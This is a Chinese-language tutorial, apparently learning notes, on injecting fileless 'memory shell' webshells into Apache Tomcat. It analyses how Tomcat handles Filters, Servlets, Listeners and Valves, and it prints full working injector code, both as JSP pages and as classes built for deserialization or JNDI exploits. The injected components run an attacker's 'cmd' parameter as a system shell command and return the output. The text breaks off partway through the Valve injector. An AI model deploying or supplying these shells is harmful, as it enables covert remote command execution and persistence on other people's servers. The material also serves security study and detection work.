
内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件,内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码
向各种中间件和框架注入内存马的基础,就是要获得context,所谓context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象
Tomcat内存马
Tomcat架构原理
首先需要了解tomcat的一些处理机制以及结构,这样才能了解内存马
Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper:
- Engine,实现类为
org.apache.catalina.core.StandardEngine
- Host,实现类为
org.apache.catalina.core.StandardHost
- Context,实现类为
org.apache.catalina.core.StandardContext
- Wrapper,实现类为
org.apache.catalina.core.StandardWrapper
每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类

可以看到,如果我们想要添加一个Servlet,需要创建一个Wrapper包裹他来挂载到Context(StandardContext中)
Tomcat的加载流程:

JavaWeb三大组件的调用顺序: Listener->Filter->Servlet
Filter
Filter译为过滤器,过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理

流程分析
先来分析一下正常Filter的流程是怎么样的,实现一个filter类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import javax.servlet.*; import java.io.IOException;
public class filterDemo implements Filter { public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始化创建"); }
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行过滤操作"); filterChain.doFilter(servletRequest,servletResponse); } public void destroy() {} }
|
在web.xml中注册我们的filter

在filterChain.doFilter处下好断点,debug进行调试,主要的调用栈如下
1 2 3 4 5
| doFilter:11, filterDemo internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) invoke:202, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core)
|
看到在ApplicationFilterChain#internalDoFilter中从filterConfig获取filter对象,然后调用doFilter

继续往上跟进

再往上看到在StandardWrapperValve#invoke调用了doFilter,这才能走到ApplicationFilterChain的doFilter

我们看看filterChain是如何获取的,发现使用ApplicationFilterFactory.createFilterChain创建了一个ApplicationFilterChain

跟进createFilterChain,看到首先会调用 getParent 获取当前 Context (即当前 Web应用),然后会从 Context 中获取到 filterMaps

发现会遍历 filterMaps 中的 filterMap,并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功或就会进入 if 判断,会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 filterConfig,如果不为null,就会调用addFilter

在addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(去重)
下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中
继续往上分析

发现wrapper是request.getWrapper()得到的
具体流程:
1.在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配
2.如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig
3.如果获取到 filterConfig,则将其加入到 filterChain 中
4.后续将会循环 filterChain 中的全部 filterConfig,通过 getFilter 方法获取 Filter 并执行 Filter 的 doFilter 方法
不难发现最开始是从 StandardContext 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell
jsp内存马
如何获取StandardContext就是关键了
可以向Tomcat的webapp目录下上传JSP文件的情况下,JSP文件里可以就直接调用request对象,因为Tomcat编码JSP文件为java文件时,会自动将request对象放加进去。这时只需要一步一步获取standardContext即可
1 2 3 4 5 6 7 8 9 10 11 12
| ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
获取到 StandardContext 之后 ,我们可以发现其中的 filterConfigs,filterDefs,filterMaps 这三个参数和我们的 filter 有关

可以看到standardContext 有这三个方法可以添加我们的filter设置

filter内存马实现步骤:
- 获取StandardContext
- 创建一个恶意filter
- 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
- 实例化一个FilterMap类,将我们的 Filter 和 urlpattern 相对应,存放到StandardContext.filterMaps中(一般会放在首位)
- 通过反射获取filterConfigs,实例化一个filterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDef,存放到filterConfigs中
最后的jsp内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% final String name = "memshell"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } };
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig); out.print("注入成功"); } %>
|

接下来访问任意路由试一下,成功植入内存马

严格意义上来说不能算是内存WebShell,因为在Tomcat编译jsp文件的时候,会在Tomcat目录下有文件落地

无文件内存马
在没有request下,比如说反序列化漏洞、JNDI注入等,我们就需要先获取request,而获取request的操作之前已经学习过了,直接给出代码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; import java.util.Scanner; import javax.servlet.Filter;
public class EvilFilter extends AbstractTranslet implements Filter{ static{ try { final String name = "shell"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null) { Filter filter = new EvilFilter();
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig); } }catch(Exception e){ e.printStackTrace(); } } @Override public void init(FilterConfig filterConfig) throws ServletException{} @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException,ServletException{ HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() {}
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } }
|
该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
tomcat 7 与 tomcat 8、9 在 FilterDef 和 FilterMap 这两个类所属的包名不太一样
tomcat 7:
org.apache.catalina.deploy.FilterDef
org.apache.catalina.deploy.FilterMap
tomcat 8、9:
org.apache.tomcat.util.descriptor.web.FilterDef
org.apache.tomcat.util.descriptor.web.FilterMap
这里看到一篇文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法
在每个Tomcat版本下,都会开一个http-nio-端口-Acceptor的线程,Acceptor是用来接收请求的,这些请求自然会交给后面的Engine->Host->Context->servlet,分析发现成功得到了StandardContext

这里测试发现存在bug,仅学习一个思路
参考:
Java安全之基于Tomcat实现内存马
Tomcat动态注册filter
Tomcat 内存马学习(一):Filter型
java Filter内存马分析
Servlet
Servlet 是服务端的 Java 应用程序,用于处理HTTP请求,做出相应的响应

流程分析
要注入servlet,就需要在tomcat启动之后动态添加Servlet
在Tomcat7之后的版本,StandardContext中提供了动态注册Servlet的方法,但是并未实现

所以我们需要自己去实现动态添加Servlet的功能,先看一下Servlet的初始化
在org.apache.catalina.core.StandardWrapper#setServletClass()处下断点调试,回溯到上一层的ContextConfig.configureConetxt()

可以看到ContextConfig类中存在Wrapper的初始化流程
首先调用createWapper()创建了wrapper,然后调用set方法配置wrapper相关的属性

需要留意的一个特殊属性是LoadOnStartUp属性,它是一个启动优先级
继续往后看,配置了wrapper的servletClass

配置完成之后会将wrapper放入StandardContext的child里面

接着会调用StandardContext.addServletMappingDecoded()添加servlet对应的映射

这里会遍历web.xml中所有配置的Servlet-Mapping,通过StandardContext.addServletMappingDecoded()将url路径和servlet类做映射
总结一下,Servlet的生成与动态添加依次进行了以下步骤:
1.通过 context.createWapper() 创建 Wapper 对象
2.设置 Servlet 的 LoadOnStartUp 的值
3.设置 Servlet 的 Name
4.设置 Servlet 对应的 Class
5.将 Servlet 添加到 context 的 children 中
6.将 url 路径和 servlet 类做映射
初始化差不多跟完了,再看一下Servlet装载流程分析
在org.apache.catalina.core.StandardWapper#loadServlet()处下断点调试,回溯到StandardContext.startInternal()方法

可以看到,是在加载完Listener和Filter之后,才装载Servlet

这里调用了findChildren()方法从StandardContext中拿到所有的child并传到loadOnStartUp()方法处理,跟到loadOnstartup()
首先获取Context下所有的Wrapper类,并获取到每个Servlet的启动顺序,筛选出 >= 0 的项加载到一个存放Wapper的list中,然后对每个wrapper进行加载

如果没有声明 loadOnStartup 属性(默认为-1)

jsp内存马
前面说过,Tomcat的一个Wrapper代表一个Servlet ,而Servlet的Wrapper对象均在StandardContext的children属性中
所以这里创建一个Wrapper对象,把servlet写进去后直接用standardContext.addChild()添加到children即可
Servlet内存马实现步骤:
- 找到StandardContext
- 创建恶意Servlet
- 用Wrapper对其进行封装
- 添加封装后的恶意Wrapper到StandardContext的children当中
- 添加ServletMapping将访问的URL和Servlet进行绑定
最后的jsp内存马如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %>
<% Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {
} };
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("memshell"); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());
standardCtx.addChild(newWrapper); standardCtx.addServletMappingDecoded("/shell","memshell"); %>
|

无文件内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import org.apache.catalina.Container; import org.apache.catalina.Wrapper; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.lang.reflect.Method;
public class TomcatServlet extends AbstractTranslet implements Servlet{ static{ try{ WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
TomcatServlet Servlet = new TomcatServlet();
Method createWrapper = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("createWrapper"); Wrapper greetWrapper = (Wrapper) createWrapper.invoke(standardContext);
Method gname = Container.class.getDeclaredMethod("setName", String.class); gname.invoke(greetWrapper,"shell");
Method gload = Wrapper.class.getDeclaredMethod("setLoadOnStartup", int.class); gload.invoke(greetWrapper,1);
Method gservlet = Wrapper.class.getDeclaredMethod("setServlet", Servlet.class); gservlet.invoke(greetWrapper,Servlet);
Method gclass = Wrapper.class.getDeclaredMethod("setServletClass", String.class); gclass.invoke(greetWrapper,Servlet.getClass().getName());
Method gchild = StandardContext.class.getDeclaredMethod("addChild",Container.class); gchild.invoke(standardContext,greetWrapper);
Method gmap = StandardContext.class.getDeclaredMethod("addServletMappingDecoded",String.class,String.class,boolean.class); gmap.invoke(standardContext,"/shell", "shell",false); }catch (Exception hi){ } }
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
} @Override public void init(ServletConfig config) throws ServletException {}
@Override public String getServletInfo() {return null;}
@Override public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse resp = (HttpServletResponse) servletResponse; if (req.getParameter("cmd") != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; Process process = Runtime.getRuntime().exec(cmds); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } else{ resp.sendError(HttpServletResponse.SC_NOT_FOUND); } } }
|
参考:
Tomcat-Servlet型内存马
擅长捉弄的内存马同学:Servlet内存马
Java安全之基于Tomcat的Servlet&Listener内存马
Listener
Listener 是用于监听某些特定动作的监听器,当特定动作发生时,监听该动作的监听器就会自动调用对应的方法,用来监听对象或者流程的创建与销毁
下面是一个HttpSession的Listener示意图:

Listener的监听对象主要有三种类型:
- ServletContext域对象——实现ServletContextListener接口
生命周期:
创建——启动服务器时创建
销毁——关闭服务器或者从服务器移除项目
作用:利用ServletContextListener监听器在创建ServletContext域对象时完成一些想要初始化的工作或者执行自定义任务调度
- ServletRequest域对象——实现ServletRequestListener接口
生命周期:
创建——访问服务器任何资源都会发送请求(ServletRequest)出现,访问.html和.jsp和.servlet都会创建请求
销毁——服务器已经对该次请求做出了响应
- HttpSession域对象——实现HttpSessionListener接口
生命周期:
创建——只要调用了getSession()方法就会创建,一次会话只会创建一次
销毁——1.超时(默认为30分钟) // 2.非正常关闭,销毁 // 3.正常关闭服务器(序列化)
作用:每位用户登录网站时都会创建一个HTTPSession对象,利用这个统计在线人数
在 ServletRequestListener接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马

流程分析
首先编写一个Listener,下好断点并写入web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener;
public class ServletListener implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("request init"); } }
|

1 2 3
| <listener> <listener-class>ServletListener</listener-class> </listener>
|
顺着堆栈向上看可以很快的定位到 StandardContext#listenerStart 方法
可以看到它先调用findApplicationListeners()获取Listener的名字,然后实例化

看到findApplicationListeners函数就是获取 applicationListeners 属性的

而 applicationListeners 数组中存放的就是我们 Listener 的名字

继续往下,发现会遍历results中的Listener,根据不同的类型放入不同的数组,我们这里的ServletRequestListener放入eventListeners数组中

然后通过调用getApplicationEventListeners()获取applicationEventListenersList中的值

最后调用setApplicationEventListeners对applicationEventListenersList进行设置

至此 listenerStart 函数的主要部分就结束了
在前面的函数部分我们知道了 listenerStart() 将我们的 Listener 实例化添加到了 applicationEventListenersList 中,那么只存进去是不可能触发的,我们的 Listener 需要触发肯定需要一个函数点来调用
跟一下第二个断点
根据调用堆栈我们找到了fireRequestInitEvent()方法
看到调用了listener.requestInitialized(event),而这个 listener 就是我们设置的 Listener 实例,可以看到是通过遍历 instances 数组获取,而 instances 数组就是通过 getApplicationEventListeners 方法来进行获取的值

jsp内存马
根据上面的分析我们知道Listener来源于tomcat初始化时web.xml实例化的Listener和applicationEventListenersList中的Listener,前者我们无法控制,但是后者我们可以控制,只需要往applicationEventListenersList中加入我们的恶意Listener即可
Listener内存马实现步骤:
- 获取StandardContext
- 创建恶意Listener
- 调用StandardContext.addApplicationEventListener()添加恶意Listener
最后的jsp内存马如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="javax.servlet.*" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %>
<% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); ServletRequestListener servletRequestListener = new ServletRequestListener() { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { String cmd = servletRequestEvent.getServletRequest().getParameter("cmd"); if (cmd != null) { try { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; response.getOutputStream().write(output.getBytes()); response.getOutputStream().flush(); response.getOutputStream().close(); return; } catch (IOException e) { } } } }; standardContext.addApplicationEventListener(servletRequestListener); out.println("inject success"); %>
|

无文件内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Response; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Scanner;
public class EvilListener implements ServletRequestListener { static { try { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
EvilListener servletRequestListener = new EvilListener(); Method addlistener = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("addApplicationEventListener", Object.class); addlistener.invoke(standardContext,servletRequestListener); } catch (Exception hi) { } }
@Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
} @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { try{ RequestFacade requestfacade= (RequestFacade) servletRequestEvent.getServletRequest(); Field field = requestfacade.getClass().getDeclaredField("request"); field.setAccessible(true); Request request = (Request) field.get(requestfacade); Response response = request.getResponse(); if (request.getParameter("cmd") != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; response.getOutputStream().write(output.getBytes()); response.getOutputStream().flush(); response.getOutputStream().close(); return; } }catch(Exception ig){ ig.printStackTrace(); } } }
|
参考:
Tomcat-Listener型内存马
Tomcat 内存马(二):Listener 内存马
Valve
Tomcat 在处理一个请求调用逻辑时,是如何处理和传递 Request 和 Respone 对象的呢?为了整体架构的每个组件的可伸缩性和可扩展性,Tomcat 使用了职责链模式来实现客户端请求的处理。在 Tomcat 中定义了两个接口:Pipeline(管道)和 Valve(阀)。这两个接口名字很好的诠释了处理模式:数据流就像是流经管道的水一样,经过管道上个一个个阀门
整个调用过程是通过Pipeline-Valve管道进行的 ,Pipeline中有addValve方法,维护了Valve链表,Valve可以插入到Pipeline中,对请求做某些处理,Pipeline中是没有invoke方法的,因为整个调用链的触发是Valve来完成的,Valve完成自己的处理后,调用getNext().invoke()来触发下一个Valve调用
借用一张图说明:

每个容器都有一个Pipeline对象,只要触发了这个Pipeline的第一个Valve,这个容器里的Pipeline中的Valve都会被调用到,其中,Pipeline中的getBasic方法获取的Valve处于Valve链的末端,它是Pipeline中必不可少的一个Valve, 负责调用下层容器的Pipeline里的第一个Valve
流程分析
Tomcat 中 Pipeline 仅有一个实现类StandardPipeline,存放在 ContainerBase 的 pipeline 属性中

并且 ContainerBase 提供 addValve 方法调用 StandardPipeline 的 addValve 方法添加
四大组件Engine/Host/Context/Wrapper都有自己的Pipeline,在ContainerBase容器基类定义了,因此只要获取四大组件之一调用add方法即可添加

看到在 org.apache.catalina.connector.CoyoteAdapter 的 service 方法中调用 Valve 的 invoke 方法

在invoke方法中我们能拿到request和response
这里我们只要自己写一个 Valve 的实现类,为了方便也可以直接使用 ValveBase 实现类。里面的 invoke 方法加入我们的恶意代码,由于可以拿到 Request 和 Response 方法,所以也可以做一些参数上的处理或者回显。然后使用 StandardContext 中的 pipeline 属性的 addValve 方法进行注册
jsp内存马
反射获取四大组件,然后调用addValve方法添加恶意Valve,之后发起请求即可触发
Valve内存马实现步骤:
- 获取StandardContext
- 继承并编写一个恶意Valve
- 调用standardContext.getPipeline().addValve()添加恶意valve实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
